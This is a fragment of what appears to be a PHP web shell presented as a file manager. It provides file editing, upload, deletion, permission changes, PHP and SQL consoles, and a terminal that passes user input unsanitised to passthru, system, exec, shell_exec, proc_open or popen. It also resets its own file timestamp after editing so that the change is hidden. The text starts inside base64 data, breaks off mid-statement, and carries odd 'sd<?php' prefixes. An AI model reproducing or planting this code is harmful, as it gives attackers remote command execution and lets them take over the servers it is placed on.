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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
